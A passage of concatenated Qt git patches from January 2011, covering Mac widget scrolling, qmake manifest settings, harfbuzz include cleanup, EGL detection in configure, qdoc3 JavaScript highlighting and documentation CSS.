+++-- src/gui/kernel/qwidget_mac.mm | 25 ++++++++++++++++++++++--- 2 files changed, 25 insertions(+), 5 deletions(-) diff --git a/src/gui/kernel/qcocoaview_mac.mm b/src/gui/kernel/qcocoaview_mac.mm index dbf9d56..575343f 100644 --- a/src/gui/kernel/qcocoaview_mac.mm +++ b/src/gui/kernel/qcocoaview_mac.mm @@ -129,6 +129,7 @@ extern "C" { extern NSString *NSTextInputReplacementRangeAttributeName; } +//#define ALIEN_DEBUG 1 #ifdef ALIEN_DEBUG static int qCocoaViewCount = 0; #endif @@ -146,7 +147,7 @@ static int qCocoaViewCount = 0; #ifdef ALIEN_DEBUG ++qCocoaViewCount; - qDebug() << "init: qCocoaViewCount is" << qCocoaViewCount; + qDebug() << "Alien: create native view for" << widget << ". qCocoaViewCount is:" << qCocoaViewCount; #endif composing = false; @@ -174,7 +175,7 @@ static int qCocoaViewCount = 0; #ifdef ALIEN_DEBUG --qCocoaViewCount; - qDebug() << "qCocoaViewCount is" << qCocoaViewCount; + qDebug() << "Alien: widget deallocated. qCocoaViewCount is:" << qCocoaViewCount; #endif [super dealloc]; diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm index df8e61e..8d6c09c 100644 --- a/src/gui/kernel/qwidget_mac.mm +++ b/src/gui/kernel/qwidget_mac.mm @@ -4662,6 +4662,17 @@ void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect) return; } + static int accelEnv = -1; + if (accelEnv == -1) { + accelEnv = qgetenv("QT_NO_FAST_SCROLL").toInt() == 0; + } + + // Scroll the whole widget instead if qscrollRect is not valid: + QRect validScrollRect = qscrollRect.isValid() ? qscrollRect : q->rect(); + // If q is overlapped by other widgets, we cannot just blit pixels since + // this will move overlapping widgets as well. In case we just update: + const bool overlapped = isOverlapped(validScrollRect.translated(data.crect.topLeft())); + const bool accelerateScroll = accelEnv && isOpaque && !overlapped; const bool isAlien = (q->internalWinId() == 0); const QPoint scrollDelta(dx, dy); @@ -4677,10 +4688,21 @@ void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect) return; } + if (!accelerateScroll) { + if (overlapped) { + QRegion region(validScrollRect); + subtractOpaqueSiblings(region); + update_sys(region); + }else { + update_sys(qscrollRect); + } + return; + } #ifdef QT_MAC_USE_COCOA QMacCocoaAutoReleasePool pool; #else + Q_UNUSED(isAlien); // We're not sure what the following call is supposed to achive // but until we see what it breaks, we don't bring it into the // Cocoa port: @@ -4750,9 +4772,6 @@ void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect) if (!view) return; - // Scroll the whole widget instead if qscrollRect is not valid: - QRect validScrollRect = qscrollRect.isValid() ? qscrollRect : QRect(0, 0, q->width(), q->height()); - if (isAlien) { // Since q is alien, we need to translate the scroll rect: QPoint widgetTopLeftInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(QPoint())); -- cgit v0.12 From b47c43e8774cf0126c53dd71dc8969dfeab84405 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Wed, 19 Jan 2011 15:35:55 +0100 Subject: don't assign MANIFEST_DIR if we don't need it avoids warnings with qmake -Wall about overriding the variable (as typically both scripts are in CONFIG, but only one is actually used). Task-number: QTBUG-13911 Reviewed-by: mariusSO --- mkspecs/features/win32/embed_manifest_dll.prf | 4 ++-- mkspecs/features/win32/embed_manifest_exe.prf | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/mkspecs/features/win32/embed_manifest_dll.prf b/mkspecs/features/win32/embed_manifest_dll.prf index e8711da..69c9d1d 100644 --- a/mkspecs/features/win32/embed_manifest_dll.prf +++ b/mkspecs/features/win32/embed_manifest_dll.prf @@ -1,6 +1,6 @@ -MANIFEST_DIR = $$OBJECTS_DIR -isEmpty(MANIFEST_DIR):MANIFEST_DIR = . !if(plugin:no_plugin_manifest):if(win32-msvc2005*|win32-msvc2008*|win32-msvc2010*):!static:!equals(TEMPLATE_PREFIX, "vc"):equals(TEMPLATE, "lib") { + MANIFEST_DIR = $$OBJECTS_DIR + isEmpty(MANIFEST_DIR):MANIFEST_DIR = . NOPATH_TARGET = $$TARGET NOPATH_TARGET ~= s,\\\\ , ,q # Remove space escaping (NOPATH_TARGET is quoted) NOPATH_TARGET ~= s,\\\\,/,g # Change to single type separators diff --git a/mkspecs/features/win32/embed_manifest_exe.prf b/mkspecs/features/win32/embed_manifest_exe.prf index 2d1c09b..44aadfa 100644 --- a/mkspecs/features/win32/embed_manifest_exe.prf +++ b/mkspecs/features/win32/embed_manifest_exe.prf @@ -1,6 +1,6 @@ -MANIFEST_DIR = $$OBJECTS_DIR -isEmpty(MANIFEST_DIR):MANIFEST_DIR = . if(win32-msvc2005*|win32-msvc2008*|win32-msvc2010*):!equals(TEMPLATE_PREFIX, "vc"):equals(TEMPLATE, "app") { + MANIFEST_DIR = $$OBJECTS_DIR + isEmpty(MANIFEST_DIR):MANIFEST_DIR = . NOPATH_TARGET = $$TARGET NOPATH_TARGET ~= s,\\\\ , ,q # Remove space escaping (NOPATH_TARGET is quoted) NOPATH_TARGET ~= s,\\\\,/,g # Change to single type separators -- cgit v0.12 From 6551a2933126cc86ac4c1e5265e967100d240fb0 Mon Sep 17 00:00:00 2001 From: Ritt Konstantin Date: Thu, 20 Jan 2011 12:07:14 +0100 Subject: don't include harfbuzz where we don't use it this only added extra noise to the output... Merge-request: 1028 Reviewed-by: Oswald Buddenhagen Reviewed-by: mariusSO --- src/declarative/declarative.pro | 2 -- src/opengl/opengl.pro | 2 -- src/openvg/openvg.pro | 2 -- src/plugins/graphicssystems/trace/trace.pro | 1 - src/svg/svg.pro | 2 -- 5 files changed, 9 deletions(-) diff --git a/src/declarative/declarative.pro b/src/declarative/declarative.pro index 1ad888b..d2c035c 100644 --- a/src/declarative/declarative.pro +++ b/src/declarative/declarative.pro @@ -30,5 +30,3 @@ symbian: { } DEFINES += QT_NO_OPENTYPE -INCLUDEPATH += ../3rdparty/harfbuzz/src - diff --git a/src/opengl/opengl.pro b/src/opengl/opengl.pro index 0e82467..45cb750 100644 --- a/src/opengl/opengl.pro +++ b/src/opengl/opengl.pro @@ -156,5 +156,3 @@ symbian { symbian:TARGET.UID3 = 0x2002131A } - -INCLUDEPATH += ../3rdparty/harfbuzz/src diff --git a/src/openvg/openvg.pro b/src/openvg/openvg.pro index c05af90..619646f 100644 --- a/src/openvg/openvg.pro +++ b/src/openvg/openvg.pro @@ -60,5 +60,3 @@ contains(QT_CONFIG, openvg_on_opengl) { !isEmpty(QMAKE_LIBDIR_OPENGL): LIBS_PRIVATE += -L$$QMAKE_LIBDIR_OPENGL !isEmpty(QMAKE_LIBS_OPENGL): LIBS_PRIVATE += $$QMAKE_LIBS_OPENGL } - -INCLUDEPATH += ../3rdparty/harfbuzz/src diff --git a/src/plugins/graphicssystems/trace/trace.pro b/src/plugins/graphicssystems/trace/trace.pro index 07472e2..e57b015 100644 --- a/src/plugins/graphicssystems/trace/trace.pro +++ b/src/plugins/graphicssystems/trace/trace.pro @@ -10,4 +10,3 @@ SOURCES = main.cpp qgraphicssystem_trace.cpp target.path += $$[QT_INSTALL_PLUGINS]/graphicssystems INSTALLS += target -INCLUDEPATH += ../../../3rdparty/harfbuzz/src diff --git a/src/svg/svg.pro b/src/svg/svg.pro index 7b5251a..4cd8b8b 100644 --- a/src/svg/svg.pro +++ b/src/svg/svg.pro @@ -38,8 +38,6 @@ SOURCES += \ qgraphicssvgitem.cpp \ qsvggenerator.cpp -INCLUDEPATH += ../3rdparty/harfbuzz/src - symbian:TARGET.UID3=0x2001B2E2 include(../3rdparty/zlib_dependency.pri) -- cgit v0.12 From e0c2861976e06658a1d651941310407c15b0bcde Mon Sep 17 00:00:00 2001 From: Ritt Konstantin Date: Thu, 20 Jan 2011 12:08:41 +0100 Subject: fix build with -opengl es1 in some cases try first, and if that fails, try . if CFG_EGL_GLES_INCLUDES is "no", then QT_GLES_EGL is not defined and type re-definitions in GLES/egltypes.h and EGL/egl.h might occur later. Merge-request: 1027 Reviewed-by: Oswald Buddenhagen Reviewed-by: mariusSO --- configure | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/configure b/configure index 6c50484..0845b31 100755 --- a/configure +++ b/configure @@ -6058,14 +6058,14 @@ fi # QWS if [ "$PLATFORM_X11" = "yes" -o "$PLATFORM_QWS" = "yes" ]; then if [ "$CFG_EGL" != "no" ]; then # detect EGL support - if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl" "EGL (EGL/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then - # EGL specified by QMAKE_*_EGL, included with - CFG_EGL=yes - CFG_EGL_GLES_INCLUDES=no - elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then + if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then # EGL specified by QMAKE_*_EGL, included with CFG_EGL=yes CFG_EGL_GLES_INCLUDES=yes + elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl" "EGL (EGL/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then + # EGL specified by QMAKE_*_EGL, included with + CFG_EGL=yes + CFG_EGL_GLES_INCLUDES=no else if [ "$CFG_EGL" = "yes" ]; then echo "The EGL functionality test failed!" -- cgit v0.12 From de84d6420ab95fe82d3375110b8437ba0f6706a7 Mon Sep 17 00:00:00 2001 From: Ritt Konstantin Date: Thu, 20 Jan 2011 16:02:42 +0100 Subject: be more consistent about CFG_EGL_GLES_INCLUDES interpretation !"no" != "yes"; use the same condition in both places Merge-request: 1027 Reviewed-by: Oswald Buddenhagen Reviewed-by: mariusSO --- configure | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/configure b/configure index 0845b31..28d9cf9 100755 --- a/configure +++ b/configure @@ -8310,7 +8310,7 @@ else echo "OpenGL support ......... no" fi if [ "$CFG_EGL" != "no" ]; then - if [ "$CFG_EGL_GLES_INCLUDES" != "no" ]; then + if [ "$CFG_EGL_GLES_INCLUDES" = "yes" ]; then echo "EGL support ............ yes " else echo "EGL support ............ yes " -- cgit v0.12 From e7b4a1ce63b2ef7215627d29921990663af71e01 Mon Sep 17 00:00:00 2001 From: Ritt Konstantin Date: Thu, 20 Jan 2011 16:21:40 +0100 Subject: don't accidentaly enable egl when disabling openvg Merge-request: 1027 Reviewed-by: Oswald Buddenhagen Reviewed-by: mariusSO --- configure | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/configure b/configure index 28d9cf9..dfbf9bd 100755 --- a/configure +++ b/configure @@ -1266,7 +1266,9 @@ while [ "$#" -gt 0 ]; do openvg) if [ "$VAL" = "auto" ] || [ "$VAL" = "yes" ] || [ "$VAL" = "no" ]; then CFG_OPENVG="$VAL" - CFG_EGL="auto" + if [ "$CFG_EGL" = "no" ] && [ "$VAL" != "no" ]; then + CFG_EGL=auto + fi else UNKNOWN_OPT=yes fi -- cgit v0.12 From 2d2ac3395663bb3b5335073b4120cc909194edfb Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 20 Jan 2011 17:14:44 +0100 Subject: Ensured that QML elements are marked up as types. --- tools/qdoc3/qmlmarkupvisitor.cpp | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 9916be2..7acac48 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -862,8 +862,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { QHash attributes; - attributes[QLatin1String("node")] = sourceText(definition->qualifiedTypeNameId->identifierToken); - addMarkedUpToken(definition->qualifiedTypeNameId->identifierToken, QLatin1String("link"), attributes); + addMarkedUpToken(definition->qualifiedTypeNameId->identifierToken, QLatin1String("type")); QDeclarativeJS::AST::Node::accept(definition->initializer, this); return false; } -- cgit v0.12 From 41f93881ad51d21aece16d8c1c272c0ff3246db8 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 20 Jan 2011 17:18:30 +0100 Subject: Added a \js command for JavaScript code. --- tools/qdoc3/doc.cpp | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 774f8ba..140545a 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -96,6 +96,7 @@ enum { #ifdef QDOC_QML CMD_QML, CMD_ENDQML, CMD_CPP, CMD_ENDCPP, CMD_QMLTEXT, CMD_ENDQMLTEXT, CMD_CPPTEXT, CMD_ENDCPPTEXT, + CMD_JS, CMD_ENDJS, #endif NOT_A_CMD }; @@ -202,6 +203,8 @@ static struct { { "endqmltext", CMD_ENDQMLTEXT, 0 }, { "cpptext", CMD_CPPTEXT, 0 }, { "endcpptext", CMD_ENDCPPTEXT, 0 }, + { "js", CMD_JS, 0 }, + { "endjs", CMD_ENDJS, 0 }, #endif { 0, 0, 0 } }; @@ -557,6 +560,10 @@ void DocParser::parse(const QString& source, case CMD_QMLTEXT: append(Atom::QmlText); break; + case CMD_JS: + leavePara(); + append(Atom::JavaScript, getCode(CMD_JS, CodeMarker::markerForLanguage(QLatin1String("JavaScript")))); + break; #endif case CMD_DIV: leavePara(); @@ -644,6 +651,9 @@ void DocParser::parse(const QString& source, case CMD_ENDQMLTEXT: append(Atom::EndQmlText); break; + case CMD_ENDJS: + closeCommand(cmd); + break; #endif case CMD_ENDFOOTNOTE: if (closeCommand(cmd)) { @@ -2406,6 +2416,8 @@ int DocParser::endCmdFor(int cmd) return CMD_ENDQML; case CMD_QMLTEXT: return CMD_ENDQMLTEXT; + case CMD_JS: + return CMD_ENDJS; #endif case CMD_FOOTNOTE: return CMD_ENDFOOTNOTE; -- cgit v0.12 From 0418b2b540fcb0e3d76299e3df69ad600292adf9 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 20 Jan 2011 17:26:10 +0100 Subject: Ongoing improvements and fixes to syntax highlighting. Added an atom for JavaScript code. Fixed example file quoting to use the appropriate atom for each file. Changed C++ code marking to mark up classes as types. Fixed C++ quoting bug that caused the last character to be lost. Fixed indentation of code to not insert spaces inside elements. Documented the change in the meaning of the \c command. Simplified the use of CSS classes in the HTML output. --- tools/qdoc3/atom.h | 36 ++++++++++++++++++++---------------- tools/qdoc3/codemarker.h | 2 ++ tools/qdoc3/cppcodemarker.cpp | 35 ++++++++++++++++++++++++++--------- tools/qdoc3/cppcodemarker.h | 1 + tools/qdoc3/generator.cpp | 28 ++++++++++------------------ tools/qdoc3/htmlgenerator.cpp | 23 +++++++++++++++++------ tools/qdoc3/jscodemarker.cpp | 8 ++++++++ tools/qdoc3/jscodemarker.h | 1 + tools/qdoc3/plaincodemarker.cpp | 5 +++++ tools/qdoc3/plaincodemarker.h | 1 + tools/qdoc3/qmlcodemarker.cpp | 8 ++++++++ tools/qdoc3/qmlcodemarker.h | 1 + 12 files changed, 100 insertions(+), 49 deletions(-) diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h index a20e057..ab4ee44 100644 --- a/tools/qdoc3/atom.h +++ b/tools/qdoc3/atom.h @@ -78,9 +78,9 @@ class Atom EndQmlText, #endif FootnoteLeft, - FootnoteRight, + FootnoteRight, // 20 FormatElse, - FormatEndif, // 20 + FormatEndif, FormatIf, FormattingLeft, FormattingRight, @@ -88,19 +88,23 @@ class Atom GuidLink, Image, ImageText, - InlineImage, + InlineImage, // 30 +#ifdef QDOC_QML + JavaScript, + EndJavaScript, +#endif LegaleseLeft, - LegaleseRight, // 30 + LegaleseRight, LineBreak, Link, LinkNode, ListLeft, ListItemNumber, - ListTagLeft, // 36 - ListTagRight, // 37 - ListItemLeft, // 38 - ListItemRight, // 39 - ListRight, // 40 + ListTagLeft, // 40 + ListTagRight, // 41 + ListItemLeft, // 42 + ListItemRight, // 43 + ListRight, // 44 Nop, ParaLeft, ParaRight, @@ -108,30 +112,30 @@ class Atom Qml, QmlText, #endif - QuotationLeft, + QuotationLeft, // 50 QuotationRight, RawString, - SectionLeft, // 49 + SectionLeft, // 53 SectionRight, SectionHeadingLeft, SectionHeadingRight, SidebarLeft, SidebarRight, SinceList, - SnippetCommand, + SnippetCommand, // 60 SnippetIdentifier, SnippetLocation, - String, // 59 - TableLeft, // 60 + String, // 63 + TableLeft, // 64 TableRight, TableHeaderLeft, TableHeaderRight, TableRowLeft, TableRowRight, - TableItemLeft, + TableItemLeft, // 70 TableItemRight, TableOfContents, - Target, // 69 + Target, // 73 UnhandledFormat, UnknownCommand, Last = UnknownCommand diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h index e643082..6c45581 100644 --- a/tools/qdoc3/codemarker.h +++ b/tools/qdoc3/codemarker.h @@ -48,6 +48,7 @@ #include +#include "atom.h" #include "node.h" QT_BEGIN_NAMESPACE @@ -121,6 +122,7 @@ class CodeMarker virtual bool recognizeCode(const QString& code) = 0; virtual bool recognizeExtension(const QString& ext) = 0; virtual bool recognizeLanguage(const QString& lang) = 0; + virtual Atom::Type atomType() const = 0; virtual QString plainName(const Node *node) = 0; virtual QString plainFullName(const Node *node, const Node *relative = 0) = 0; diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 2b7db62..9b696a7 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -103,6 +103,14 @@ bool CppCodeMarker::recognizeLanguage(const QString &lang) } /*! + Returns the type of atom used to represent C++ code in the documentation. +*/ +Atom::Type CppCodeMarker::atomType() const +{ + return Atom::Code; +} + +/*! Returns the \a node name, or "()" if \a node is a Node::Function node. */ @@ -417,7 +425,6 @@ QString CppCodeMarker::markedUpIncludes(const QStringList& includes) code += "<@preprocessor>#include <<@headerfile>" + *inc + ">\n"; ++inc; } - Location location; return code; } @@ -937,6 +944,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, while (ch != EOF) { int second = i; QString tag; + bool target = false; if (isalpha(ch) || ch == '_') { QString ident; @@ -946,9 +954,10 @@ QString CppCodeMarker::addMarkUp(const QString &in, } while (isalnum(ch) || ch == '_'); if (classRegExp.exactMatch(ident)) { - tag = QLatin1String("class"); + tag = QLatin1String("type"); } else if (functionRegExp.exactMatch(ident)) { - tag = QLatin1String("function"); + tag = QLatin1String("func"); + target = true; } else if (types.contains(ident)) { tag = QLatin1String("type"); } else if (keywords.contains(ident)) { @@ -956,7 +965,8 @@ QString CppCodeMarker::addMarkUp(const QString &in, } else if (braceDepth == 0 && parenDepth == 0) { if (QString(code.unicode() + i - 1, code.length() - (i - 1)) .indexOf(QRegExp(QLatin1String("^\\s*\\("))) == 0) - tag = QLatin1String("function"); + tag = QLatin1String("func"); + target = true; } } else if (isdigit(ch)) { do { @@ -1074,13 +1084,20 @@ QString CppCodeMarker::addMarkUp(const QString &in, } } - if (!tag.isEmpty()) - out += QLatin1String("<@") + tag + QLatin1String(">"); - + QString text; if (tag.isEmpty() && i == code.length()) - out += protect(code.mid(second - 1, i - second + 1)); + text = code.mid(second - 1, i - second + 1); else - out += protect(code.mid(second - 1, i - second)); + text = code.mid(second - 1, i - second); + + if (!tag.isEmpty()) { + out += QLatin1String("<@") + tag; + if (target) + out += QLatin1String(" target=\"") + text + QLatin1String("()\""); + out += QLatin1String(">"); + } + + out += protect(text); if (!tag.isEmpty()) out += QLatin1String(""); diff --git a/tools/qdoc3/cppcodemarker.h b/tools/qdoc3/cppcodemarker.h index bb307f9..8206dbe 100644 --- a/tools/qdoc3/cppcodemarker.h +++ b/tools/qdoc3/cppcodemarker.h @@ -59,6 +59,7 @@ class CppCodeMarker : public CodeMarker virtual bool recognizeCode(const QString& code); virtual bool recognizeExtension(const QString& ext); virtual bool recognizeLanguage(const QString& lang); + virtual Atom::Type atomType() const; virtual QString plainName(const Node *node); virtual QString plainFullName(const Node *node, const Node *relative); virtual QString markedUpCode(const QString& code, diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 65b9a09..62ec966 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -524,8 +524,9 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) Quoter quoter; Doc::quoteFromFile(fake->doc().location(), quoter, fake->name()); QString code = quoter.quoteTo(fake->location(), "", ""); - text << Atom(Atom::Code, code); - generateText(text, fake, CodeMarker::markerForFileName(fake->name())); + CodeMarker *codeMarker = CodeMarker::markerForFileName(fake->name()); + text << Atom(codeMarker->atomType(), code); + generateText(text, fake, codeMarker); } } } @@ -683,26 +684,17 @@ QString Generator::indent(int level, const QString& markedCode) int i = 0; while (i < (int) markedCode.length()) { - if (markedCode.at(i) == QLatin1Char('<')) { - while (i < (int) markedCode.length()) { - t += markedCode.at(i++); - if (markedCode.at(i - 1) == QLatin1Char('>')) - break; - } + if (markedCode.at(i) == QLatin1Char('\n')) { + column = 0; } else { - if (markedCode.at(i) == QLatin1Char('\n')) { - column = 0; - } - else { - if (column == 0) { - for (int j = 0; j < level; j++) - t += QLatin1Char(' '); - } - column++; + if (column == 0) { + for (int j = 0; j < level; j++) + t += QLatin1Char(' '); } - t += markedCode.at(i++); + column++; } + t += markedCode.at(i++); } return t; } diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index a3156c3..4385dfd 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -467,6 +467,9 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << "

    \n"; break; case Atom::C: + // This may at one time have been used to mark up C++ code but it is + // now widely used to write teletype text. As a result, text marked + // with the \c command is not passed to a code marker. out() << formattingLeftMap()[ATOM_FORMATTING_TELETYPE]; if (inLink) { out() << protectEnc(plainCode(atom->string())); @@ -477,7 +480,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << formattingRightMap()[ATOM_FORMATTING_TELETYPE]; break; case Atom::Code: - out() << "
    "
    +        out() << "
    "
                   << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
                                                      marker,relative))
                   << "
    \n"; @@ -489,10 +492,16 @@ int HtmlGenerator::generateAtom(const Atom *atom, marker,relative)) << "
    \n"; break; + case Atom::JavaScript: + out() << "
    "
    +              << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
    +                                                 marker,relative))
    +              << "
    \n"; + break; #endif case Atom::CodeNew: out() << "

    you can rewrite it as

    \n" - << "
    "
    +              << "
    "
                   << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
                                                      marker,relative))
                   << "
    \n"; @@ -501,7 +510,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << "

    For example, if you have code like

    \n"; // fallthrough case Atom::CodeBad: - out() << "
    "
    +        out() << "
    "
                   << trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string()))))
                   << "
    \n"; break; @@ -1773,7 +1782,7 @@ void HtmlGenerator::generateBrief(const Node *node, CodeMarker *marker, void HtmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) { if (!inner->includes().isEmpty()) { - out() << "
    "
    +        out() << "
    "
                   << trimmedTrailing(highlightedCode(indent(codeIndent,
                                                             marker->markedUpIncludes(inner->includes())),
                                                      marker,inner))
    @@ -2757,8 +2766,8 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
         // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*()"
         bool done = false;
         for (int i = 0, srcSize = src.size(); i < srcSize;) {
    -        if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') {
    -            if (alignNames && !done) {// && (i != 0)) Why was this here?
    +        if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
    +            if (alignNames && !done) {
                     html += "";
                     done = true;
                 }
    @@ -2819,6 +2828,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
                 if (parseArg(src, typeTag, &i, srcSize, &arg, &par1)) {
                     par1 = QStringRef();
                     const Node* n = marker->resolveTarget(arg.toString(), myTree, relative, self);
    +                html += QLatin1String("");
                     if (n && n->subType() == Node::QmlBasicType) {
                         if (relative && relative->subType() == Node::QmlClass)
                             addLink(linkForNode(n,relative), arg, &html);
    @@ -2827,6 +2837,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
                     }
                     else
                         addLink(linkForNode(n,relative), arg, &html);
    +                html += QLatin1String("");
                     handled = true;
                 }
                 else if (parseArg(src, headerTag, &i, srcSize, &arg, &par1)) {
    diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp
    index 80df0aa..5a513f7 100644
    --- a/tools/qdoc3/jscodemarker.cpp
    +++ b/tools/qdoc3/jscodemarker.cpp
    @@ -101,6 +101,14 @@ bool JsCodeMarker::recognizeLanguage(const QString &language)
         return language == "JavaScript" || language == "ECMAScript";
     }
     
    +/*!
    +  Returns the type of atom used to represent JavaScript code in the documentation.
    +*/
    +Atom::Type JsCodeMarker::atomType() const
    +{
    +    return Atom::JavaScript;
    +}
    +
     QString JsCodeMarker::markedUpCode(const QString &code,
                                         const Node *relative,
                                         const Location &location)
    diff --git a/tools/qdoc3/jscodemarker.h b/tools/qdoc3/jscodemarker.h
    index 6d85063..9b55819 100644
    --- a/tools/qdoc3/jscodemarker.h
    +++ b/tools/qdoc3/jscodemarker.h
    @@ -59,6 +59,7 @@ public:
         virtual bool recognizeCode(const QString &code);
         virtual bool recognizeExtension(const QString &ext);
         virtual bool recognizeLanguage(const QString &language);
    +    virtual Atom::Type atomType() const;
     
         virtual QString markedUpCode(const QString &code, 
                                      const Node *relative, 
    diff --git a/tools/qdoc3/plaincodemarker.cpp b/tools/qdoc3/plaincodemarker.cpp
    index 9819593..e7926da 100644
    --- a/tools/qdoc3/plaincodemarker.cpp
    +++ b/tools/qdoc3/plaincodemarker.cpp
    @@ -66,6 +66,11 @@ bool PlainCodeMarker::recognizeLanguage( const QString& /* lang */ )
         return false;
     }
     
    +Atom::Type PlainCodeMarker::atomType() const
    +{
    +    return Atom::Code;
    +}
    +
     QString PlainCodeMarker::plainName( const Node * /* node */ )
     {
         return "";
    diff --git a/tools/qdoc3/plaincodemarker.h b/tools/qdoc3/plaincodemarker.h
    index 1c469a0..34fa63d 100644
    --- a/tools/qdoc3/plaincodemarker.h
    +++ b/tools/qdoc3/plaincodemarker.h
    @@ -59,6 +59,7 @@ public:
         bool recognizeCode( const QString& code );
         bool recognizeExtension( const QString& ext );
         bool recognizeLanguage( const QString& lang );
    +    Atom::Type atomType() const;
         QString plainName( const Node *node );
         QString plainFullName( const Node *node, const Node *relative );
         QString markedUpCode( const QString& code, const Node *relative, const Location &location );
    diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp
    index e0ba0e1..a7dc5a0 100644
    --- a/tools/qdoc3/qmlcodemarker.cpp
    +++ b/tools/qdoc3/qmlcodemarker.cpp
    @@ -103,6 +103,14 @@ bool QmlCodeMarker::recognizeLanguage(const QString &language)
     }
     
     /*!
    +  Returns the type of atom used to represent QML code in the documentation.
    +*/
    +Atom::Type QmlCodeMarker::atomType() const
    +{
    +    return Atom::Qml;
    +}
    +
    +/*!
       Returns the name of the \a node. Method names include are returned with a
       trailing set of parentheses.
      */
    diff --git a/tools/qdoc3/qmlcodemarker.h b/tools/qdoc3/qmlcodemarker.h
    index b1d365c..1665b16 100644
    --- a/tools/qdoc3/qmlcodemarker.h
    +++ b/tools/qdoc3/qmlcodemarker.h
    @@ -60,6 +60,7 @@ public:
         virtual bool recognizeCode(const QString &code);
         virtual bool recognizeExtension(const QString &ext);
         virtual bool recognizeLanguage(const QString &language);
    +    virtual Atom::Type atomType() const;
         virtual QString plainName(const Node *node);
         virtual QString plainFullName(const Node *node, const Node *relative);
         virtual QString markedUpCode(const QString &code, 
    -- 
    cgit v0.12
    
    
    From fcb5e19d892ccff208590b8a37171ef6894fc694 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 20 Jan 2011 17:26:47 +0100
    Subject: Added a style for types in quoted code.
    
    ---
     doc/src/template/style/offline.css | 4 ++++
     doc/src/template/style/style.css   | 4 ++++
     2 files changed, 8 insertions(+)
    
    diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
    index 4a10d0a..2aafe56 100644
    --- a/doc/src/template/style/offline.css
    +++ b/doc/src/template/style/offline.css
    @@ -185,6 +185,10 @@
         {
             color: black
         }
    +    span.type
    +    {
    +        font-weight: bold
    +    }
     /* end basic elements */
     
     /* font style elements */
    diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
    index 451d6bf..fbad0fd 100755
    --- a/doc/src/template/style/style.css
    +++ b/doc/src/template/style/style.css
    @@ -210,6 +210,10 @@
         {
             color: black
         }
    +    span.type
    +    {
    +        font-weight: bold
    +    }
     /* end basic elements */
     
     /* font style elements */
    -- 
    cgit v0.12
    
    
